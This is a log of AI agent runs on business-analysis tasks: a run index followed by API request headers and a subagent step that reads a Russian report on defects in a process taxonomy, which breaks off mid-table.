BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-806-elma-knowledge-base-recommendations\\nRUN-0036 2026-08-22 statistics draft | qwen3-235b-a22b, qwen3-max-preview | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-817-personal-data-consent-text\\nRUN-0037 2026-08-22 statistics draft | qwen-plus-2025-09-11, qwen3-max, qwen3-max-preview | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-838-preset-call-block-status\\nRUN-0038 2026-08-22 statistics draft | qwen-plus-2025-09-11, qwen3-max | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-854-mtalker-conference-participants-section\\nRUN-0039 2026-08-22 statistics draft | qwen3-max-2025-10-30 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-854-mtalker-conference-participants-fr\\nRUN-0040 2026-08-22 statistics draft | qwen-max-latest, qwen-plus-2025-09-11, qwen3-max, qwen3-vl-30b-a3b | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-872-proactive-chat-retrigger\\nRUN-0041 2026-08-22 statistics draft | qwen3-max-2025-10-30, qwen3-vl-30b-a3b | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-890-bitrix24-call-routing\\nRUN-0042 2026-08-22 statistics draft | qwen3.5-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-892-knowledge-base-page-restore\\nRUN-0043 2026-08-22 statistics draft | qwen3-max-2025-10-30 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-908-open-url-on-call-answer\\nRUN-0044 2026-08-22 statistics draft | qwen3-max-2025-10-30 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-908-open-url-on-call-answer-validation\\nRUN-0045 2026-08-22 statistics draft | qwen3-max-2025-09-23, qwen3-max-2026-01-23 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-915-call-connection-sound-signal\\nRUN-0046 2026-08-22 statistics draft | qwen3-max-2025-09-23, qwen3-max-2026-01-23 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-918-mandatory-call-topics\\nRUN-0047 2026-08-22 statistics draft | qwen3-max-2025-09-23 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-920-meeting-transcript-analysis\\nRUN-0048 2026-08-22 statistics draft | qwen3.6-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-930-amocrm-comment-and-tag-fields\\nRUN-0049 2026-08-22 statistics draft | qwen3-max-2026-01-23 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-935-speech-analytics-api-parameters\\nRUN-0050 2026-08-22 statistics draft | qwen3-max-2026-01-23 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-942-email-format-painter\\nRUN-0051 2026-08-22 statistics draft | qwen3.5-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-960-call-records-multiselect-filter\\nRUN-0052 2026-08-22 statistics draft | qwen3.5-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-964-ai-robot-on-line\\nRUN-0053 2026-08-22 statistics draft | qwen3.5-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-977-bitrix24-call-attribution\\nRUN-0054 2026-08-22 statistics draft | qwen3.6-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-980-number-replacement-questions\\nRUN-0055 2026-08-23 execution works-with-edits | qwen3.7-plus (\u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c) + claude-opus-5 (\u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e \u0411\u0417) | BA-IH + LLM (\u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0433\u043e\u043d \u0438 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f: AI issue so | tz-feasibility-assessment-utair-chat-mango-office\\nRUN-0056 2026-08-25 execution partial-success | claude-opus-5 | AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410 | gap-analysis-hh-chats-mango-cc-integration-feasibility\\nRUN-0057 2026-08-25 execution partial-success | claude-opus-5 | AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410 | feasibility-assessment-tender-tz-stt-tts-nlu-dialogue-manager\\nRUN-0058 2026-08-26 execution partial-success | claude-opus-5 | AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410 | Re-evaluation: HH.ru Chat API Feasibility\\nRUN-0059 2026-08-26 execution partial-success | claude-opus-5 | AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410 | Architecture Spike: HH.ru Chats \u2194 Mango CC data mapping\\nRUN-0060 2026-08-27 execution success | claude-opus-5 | AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410 | Combined L4 gap report: BA verdicts + SA models + footnoted hh.ru API sources\\nRUN-0061 2026-08-28 statistics draft | qwen3.7-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-1090-human-review-of-twin-links\\nRUN-0062 2026-09-01 execution draft | gpt-5.6-sol | AI issue solver | feasibility-assessment-tender-appendices-5-7\\nRUN-0063 2026-08-31 execution invalid | gpt-5.6-sol | AI issue solver | feature-specification-bcreq-1074-communication-expenses-report\\nRUN-0064 2026-08-31 execution draft | gpt-5.6-sol | OpenAI Codex | error-analysis-and-feature-specification-bcreq-1074-report-view\\nRUN-0065 2026-09-01 execution draft | gpt-5.6-sol | AI issue solver | feasibility-assessment-telephony-requirements-task-1099\\nRUN-0066 2026-09-01 execution draft | claude-opus-5 | AI issue solver | feasibility-assessment-telephony-requirements-task-1099\\nRUN-0067 2026-09-03 execution draft | claude-opus-5 | AI issue solver (Claude Code) | feature-specification-bcreq-1074-detailed-export (rework of RUN-0063 by audit)\\nRUN-0068 2026-09-28 execution draft | claude-opus-5-5 | AI issue solver | feasibility-assessment-tender-bcreq-1114-pstn-mobile-access\\nRUN-0069 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\"ff885db6-3a65-40d6-9f7d-07c6f13afe7e\",\n[2026-09-29T07:45:09.775Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:09.775Z] [INFO] }\n[2026-09-29T07:45:09.781Z] [STDOUT] [log_5ffe28, request-id: \"req_011CfXMjYCxNBLXXhzSZqQGj\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 823ms\n[2026-09-29T07:45:09.786Z] [STDOUT] [log_5ffe28] response start {\n[2026-09-29T07:45:09.792Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:09.797Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:09.801Z] [STDOUT]   headers: {\n[2026-09-29T07:45:09.812Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:09.818Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:09.825Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:09.834Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:09.850Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:09.857Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:09.861Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:09.866Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:09.876Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:09.879Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:09.884Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:09.890Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:09.893Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:09.897Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:09.899Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:09.902Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:09.904Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:09.907Z] [STDOUT]     \"cf-ray\": \"a4295ddaafe1dbb5-FRA\",\n[2026-09-29T07:45:09.912Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:09.916Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:09.919Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:09.925Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:09.929Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:09 GMT\",\n[2026-09-29T07:45:09.934Z] [STDOUT]     \"request-id\": \"req_011CfXMjYCxNBLXXhzSZqQGj\",\n[2026-09-29T07:45:09.937Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:09.940Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:09.943Z] [STDOUT]     traceresponse: \"00-ad651084c9f4908baba47ffcd4fe1c8f-51be73680355b3f5-01\",\n[2026-09-29T07:45:09.946Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:09.950Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:09.955Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:09.960Z] [STDOUT]   },\n[2026-09-29T07:45:09.970Z] [STDOUT]   durationMs: 823,\n[2026-09-29T07:45:09.978Z] [STDOUT] }\n[2026-09-29T07:45:09.985Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:09.989Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:09 GMT\",\n[2026-09-29T07:45:09.998Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:10.004Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:10.011Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:10.014Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:10.018Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:10.026Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:10.036Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:10.049Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:10.058Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:10.065Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:10.071Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:10.077Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:10.082Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:10.086Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:10.098Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:10.103Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:10.111Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:10.120Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:10.131Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:10.135Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:10.140Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:10.142Z] [STDOUT]   \"request-id\": \"req_011CfXMjYCxNBLXXhzSZqQGj\",\n[2026-09-29T07:45:10.145Z] [STDOUT]   \"traceresponse\": \"00-ad651084c9f4908baba47ffcd4fe1c8f-51be73680355b3f5-01\",\n[2026-09-29T07:45:10.149Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:10.155Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:10.159Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:10.162Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:10.166Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:10.171Z] [STDOUT]   \"cf-ray\": \"a4295ddaafe1dbb5-FRA\",\n[2026-09-29T07:45:10.174Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:10.178Z] [STDOUT] [log_5ffe28] response parsed {\n[2026-09-29T07:45:10.183Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:10.186Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:10.190Z] [STDOUT]   body: X {\n[2026-09-29T07:45:10.200Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:10.209Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:10.213Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:10.224Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:10.239Z] [STDOUT]     },\n[2026-09-29T07:45:10.245Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:10.248Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:10.254Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:10.261Z] [STDOUT]   },\n[2026-09-29T07:45:10.264Z] [STDOUT]   durationMs: 824,\n[2026-09-29T07:45:10.269Z] [STDOUT] }\n[2026-09-29T07:45:10.280Z] [INFO] {\n[2026-09-29T07:45:10.280Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"message\": {\n[2026-09-29T07:45:10.280Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:10.280Z] [INFO]     \"id\": \"msg_011CfXMjYkTUyHG75Hqugohi\",\n[2026-09-29T07:45:10.280Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:10.280Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:10.280Z] [INFO]     \"content\": [\n[2026-09-29T07:45:10.280Z] [INFO]       {\n[2026-09-29T07:45:10.280Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:10.280Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:10.280Z] [INFO]         \"signature\": \"CAQS5wUKEAgSGAI4AUIIdGhpbmtpbmcSDHmALuDPuKPXmlxvfBoMSPg7/Mle/JLQrNP4IjBGA/WJ8yXOkAmVWH1bv1FxWIcQz/GmA1Rd5nIiO5GqZIb8wfvooAyT3B4v+YRhankqhAXsBy4uk60sFtFWhLWJQi7oP8quTa3WbiKAcr5xlUgKGqFonp26xoil30clCXn7fmrY4+1BCPTa/K9FKKvgfRtTICMELZ8PxJUmwFl1B4oqJ1Arm6+SQcz3gps6bHc1RtSaI9yrY5V3wTjtZuVLdIvMJEv94iFbPO6CX/ESDF62prbHiwplaV1lDhQ4L5+N+ImYmJTHeRCgGur/dyVQxhBMWUaLjd0a1GkOQTYN7pt+uZkxmdcyzaknQyPdf534p3auMttOKjE+WZ94kxGpd1sAsezLoj/yLy39pvs6joB0fQfsrAgCCraq5C/9wy3dK2uHSfzvoPSuIfxsYBZIciLJQao+8M1d1C8IAQsAQem7EFYyIYisVMA4KsBNkf/xqQ+rFQBSmZ3P2T9ABhxN90xRw0z5/JbTw5b845B2s05dfgmXhuM8YbhYzrbnA6iSpMjPBzDPBd1JW0nNe4rK0dUaVrojszzoVPnNs21DIKvtCSkgkrPZfgzOCEui4E1NSu36Oy1RvBxuiM05MkRLac4RaDrYzk9uqy0KZfbek7GB7SBSoT6E6VyWzUbT97UbrP4VxOJdYFb1cBagCvXZD40HxkrgHq1dkXFlmCj9bG4qVKCg3a+eN1z1dtqWSHuyuOcaITuj0zLAVERHmPLIDbwh0KtHNvmKIkBqmccwpJkcfUBsmknaPIyVYgYNfyXlKVQND//FPM2N8r8qcxTheJAXB1Js6KC+Hi25yz4A6KgW79AeaaDoQwWmBXny2WwnrQVSk1ZlDupNtr9Vdwsgk2djifJzaWDSuCQE5yRvmTBUMh+uk3MyVcW3R7xl1av+rVDz0zPrfhDDeigpJ0C5FMwv/Yf+TRgB\"\n[2026-09-29T07:45:10.280Z] [INFO]       }\n[2026-09-29T07:45:10.280Z] [INFO]     ],\n[2026-09-29T07:45:10.280Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:10.280Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:10.280Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:10.280Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:10.280Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:10.280Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:10.280Z] [INFO]       \"cache_creation_input_tokens\": 6152,\n[2026-09-29T07:45:10.280Z] [INFO]       \"cache_read_input_tokens\": 43474,\n[2026-09-29T07:45:10.280Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:10.280Z] [INFO]         \"ephemeral_5m_input_tokens\": 6152,\n[2026-09-29T07:45:10.280Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:10.280Z] [INFO]       },\n[2026-09-29T07:45:10.280Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:10.280Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:10.280Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:10.280Z] [INFO]     },\n[2026-09-29T07:45:10.280Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:10.280Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:10.280Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:10.280Z] [INFO]   },\n[2026-09-29T07:45:10.280Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"uuid\": \"41ef5a31-b64c-41dc-9714-8d8b01990e1f\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:09.971Z\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"request_id\": \"req_011CfXMjYCxNBLXXhzSZqQGj\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:10.280Z] [INFO] }\n[2026-09-29T07:45:10.297Z] [INFO] {\n[2026-09-29T07:45:10.297Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"message\": {\n[2026-09-29T07:45:10.297Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:10.297Z] [INFO]     \"content\": [\n[2026-09-29T07:45:10.297Z] [INFO]       {\n[2026-09-29T07:45:10.297Z] [INFO]         \"tool_use_id\": \"toolu_01RKDfoSwzA3DtkAgqBVUd7o\",\n[2026-09-29T07:45:10.297Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:10.297Z] [INFO]         \"content\": \"  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563\\\"\\n---\\n\\n# \u0414\u0435\u0444\u0435\u043a\u0442\u044b \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439: \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 2026-09-10\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 **\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435** \u0432\u043e\u0441\u044c\u043c\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432, \u0438\u0437-\u0437\u0430\\n> \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0430\\n> AI-\u0430\u0433\u0435\u043d\u0442\u043e\u043c. \u0418\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u044f \u0438 \u043d\u043e\u0432\u0430\u044f \u043d\u043e\u0440\u043c\u0430 \u2014 \u0432 \u043c\u043e\u0434\u0443\u043b\u044f\u0445\\n> [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/00-introduction.md)\\n> \u0438\\n> [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md).\\n> \u0421\u043d\u0438\u043c\u043e\u043a \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e\u0440\u043f\u0443\u0441 \u0440\u0430\u0441\u0442\u0451\u0442: \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c \u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u0447\u0438\u0441\u043b\u0430\\n> \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438.\\n\\n**\u041a\u043e\u0440\u043f\u0443\u0441.** \u0421\u043f\u0438\u0446\u0430 [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82aa73129ec5747af07f790aaf438b0fb6e9` (67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `runs/`,\\n`docs/taxonomy.md`, `standards/ba-ontology.md`, `docs/adr/009-*`) \u0438 \u0425\u0430\u0431 \u043d\u0430\\n\u043a\u043e\u043c\u043c\u0438\u0442\u0435 `15aa76f88987511312cbf7cdb2c87b8912fb53f5` (\u043c\u043e\u0434\u0443\u043b\u044c\\n[`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)).\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c.**\\n[`exp/ba-process-taxonomy-571/audit-taxonomy-defects.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/audit-taxonomy-defects.py),\\n\u0441\u044b\u0440\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n[`taxonomy-defects.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/taxonomy-defects.json),\\n\u043b\u043e\u0433 \u2014\\n[`audit-taxonomy-defects.log`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/audit-taxonomy-defects.log).\\n\\n## \u0421\u0432\u043e\u0434\u043a\u0430\\n\\n| \u041a\u043e\u0434 | \u0414\u0435\u0444\u0435\u043a\u0442 | \u041c\u0435\u0440\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- | --- |\\n| `D1` | \u0424\u0422 \u0438 \u0422\u0417 \u043d\u0430\u0437\u0432\u0430\u043d\u044b \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0445\u043e\u0434\u043e\u043c `\u0424\u0422/\u0422\u0417` | \u043c\u0435\u0441\u0442 \u0441\u043b\u0438\u044f\u043d\u0438\u044f / \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0442\u0438\u043f\u043e\u0432 \u0432 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 \u0441\u043f\u0438\u0446\u044b | 29 / 2 |\\n| `D2` | \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u00bb \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 | \u043c\u0435\u0441\u0442 / \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u00bb \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0416\u0426 | 4 / \u0434\u0430 |\\n| `D3` | \u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e 